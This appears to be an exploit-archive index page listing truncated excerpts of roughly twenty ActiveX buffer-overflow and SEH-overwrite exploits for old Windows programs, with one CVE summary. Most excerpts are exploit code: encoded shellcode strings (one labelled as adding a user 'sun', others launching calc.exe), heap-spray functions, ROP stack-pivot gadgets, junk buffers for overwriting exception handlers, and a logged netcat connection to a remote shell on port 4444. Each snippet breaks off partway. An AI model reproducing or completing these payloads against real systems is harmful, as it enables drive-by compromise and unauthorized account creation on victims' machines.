Edraw Office Viewer Component 7.4 Active-X Buffer Overflow

function heapspray //exec calc.exe var shellcode = unescape "%u9090%u9090%u9090%u9090" ; shellcode += unescape...

Rising online virus scanner Active - X denial of service-vulnerability warning-the black bar safety net

ProgID: RavOLCtlLib. RavOnline ClassID: 9FAFB576-6 9 3 3-4CCC-AB3D-B988EC43D04E Member: Scan File: C:\Programme\Rising\RavOL\RavOLCtl.dll script safe: true init the safe: true Because Bullshit like this is unsaleable and i don't want to waste time coordinating patches with this vendor this is a...

HP Photo Creative 2.x Active-X Control Buffer Overflow

//add user one, user "sun" pass "tzu" shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" + "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +...

WMITools Active-X Remote Command Execution

//run calc.exe var shellcode =...

Crystal Reports Viewer 12.0.0.549 Active-X Exploit

//payload is windows/exec cmd=calc.exe shellcode = unescape '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+...

AoA Audio Extractor 2.x Active-X Exploit

AoA Audio Extractor v2.x ActiveX ROP exploit Hadji Samir - s-dzhotmail.fr & mrme - mrmenet-ninja.net ' ROP magic begins here: Stack pivot seh = unescape"%72%2a%02%10"' 0x10022a72 == ADD ESP,604; RETN 4 ' VirtualProtect placeholders ; vp = "AAAA" vp = vp + "BBBB" vp = vp + "CCCC" vp = vp + "DDDD" ...

Softek Barcode Reader Toolkit Active-X 7.1.4.14 Buffer Overflow

Softek Barcode Reader Toolkit ActiveX 7.1.4.14 SoftekATL.dll Buffer Overflow PoC Vendor: Softek Software Ltd Product web page: http://www.bardecode.com Affected version: 7.1.4.14 Summary: The Softek Barcode Reader Toolkit for Windows is a SDK that enables applications to extract barcode informati...

FathFTP 1.7 Active-X Buffer Overflow

' Exploit Title: FathFTP 1.7 ActiveX Buffer Overflow ' Date: July 7, 2010 ' Author: Blake ' Software Link: http://www.softpedia.com/get/Programming/Components-Libraries/FathFTP.shtml ' Version: 1.7 ' Tested on: Windows XP SP3 / IE6 ' Note: The GetFromURL member is also vulnerable to a stack...

SasCam WebCam Server 2.6.5 Active-X SEH Overwrite

'SEH Overwrite exploited by Blake 'Original EIP method by callAX 'Tested on XP SP3/IE7 in virtualbox '$ nc 192.168.1.155 4444 'Microsoft Windows XP Version 5.1.2600 'C Copyright 1985-2001 Microsoft Corp. ' 'C:\Documents and Settings\blake\Desktop buffer = String8349, "A" nseh =...

Sygate Personal Firewall 5.6 Build 2808 Active-X Exploit

seh = unescape"%13%16%47%06" 'ADD ESP,46C RETN rop = rop + String72, "D" 'J...

CommuniCrypt mail 1.16 Active-X Buffer Overflow

junk = String284, "A" nseh = unescape"%eb%06%90%90" seh = unescape"%1c%e4...

Incredimail Active-X Memory Corruption

crash=String25000, "A" target.DoWebMen...

VulnCheck KEV: CVE-2006-5559

The Execute method in the ADODB.Connection 2.7 and 2.8 ActiveX control objects ADODB.Connection.2.7 and ADODB.Connection.2.8 in the Microsoft Data Access Components MDAC 2.5 SP3, 2.7 SP1, 2.8, and 2.8 SP1 does not properly track freed memory when the second argument is a BSTR, which allows...

Magneto Software Net Resource Active-X 4.0.0.5 NetConnectionEnum Universal SEH Exploit

'Magneto Software Net Resource ActiveX v4.0.0.5 NetConnectionEnum SEH Exploit Universal 'Author: dookie 'Original PoC by: s4squatch - http://www.exploit-db.com/exploits/12208 'Vendor: http://www.magnetosoft.com/products/sknetresource/sknetresourcefeatures.htm 'SKNetResource.ocx 'Function...

Magneto Software Net Resource Active-X 4.0.0.5 NetFileClose Universal SEH Exploit

'Magneto Software Net Resource ActiveX v4.0.0.5 NetFileClose SEH Exploit Universal 'Author: dookie 'Original PoC by: s4squatch - http://www.exploit-db.com/exploits/12206 'Vendor: http://www.magnetosoft.com/products/sknetresource/sknetresourcefeatures.htm 'SKNetResource.ocx 'Function NetFileClose...

MagnetoSoft NetworkResources Active-X NetShareEnum SEH Overwrite

'Magneto Software Net Resource ActiveX NetShareEnum SEH Overwrite POC 'Discovered by: s4squatch 'Site: www.securestate.com 'Date Discovered: 02/11/10 'www: http://www.magnetosoft.com/products/sknetresource/sknetresourcefeatures.htm 'Download:...

MagnetoSoft NetworkResources Active-X NetFileClose SEH Overwrite

'Magneto Software Net Resource ActiveX NetFileClose SEH Overwrite POC 'Discovered by: s4squatch of SecureState R&D Team 'Site: www.securestate.com 'Date Discovered: 02/11/10 'www: http://www.magnetosoft.com/products/sknetresource/sknetresourcefeatures.htm 'Download:...

MagnetoSoft SNTP Active-X SntpGetReply Buffer Overflow

'Magneto Software SNTP ActiveX SntpGetReply BOF 'Discovered by: s4squatch 'Site: www.securestate.com 'File Name = SKSntp.ocx 'www: http://www.magnetosoft.com/products/sksntp/sksntpfeatures.htm 'Download: http://www.magnetosoft.com/downloads/sksntpsetup.exe 'Vendor Notified: 02/02/10 -- NO RESPONS...

MagnetoSoft SNTP Active-X SntpSendRequest Crash Proof Of Concept

'Magneto Software SNTP ActiveX SntpSendRequest BOF POC 'Discovered by: s4squatch 'Site: www.securestate.com 'www: http://www.magnetosoft.com/products/sksntp/sksntpfeatures.htm 'Download: http://www.magnetosoft.com/downloads/sksntpsetup.exe 'Vendor Notified: 02/02/10 -- NO RESPONSE 'Vendor Notifie...

MagnetoSoft NetworkResources Active-X NetSessionDel Buffer Overflow

'Magneto Software Net Resource ActiveX NetSessionDel BOF 'Discovered by: s4squatch 'Site: www.securestate.com 'Date Discovered: 02/11/10 'www: http://www.magnetosoft.com/products/sknetresource/sknetresourcefeatures.htm 'Download: http://www.magnetosoft.com/downloads/SystemInfoPackSetup.exe 'Vendo...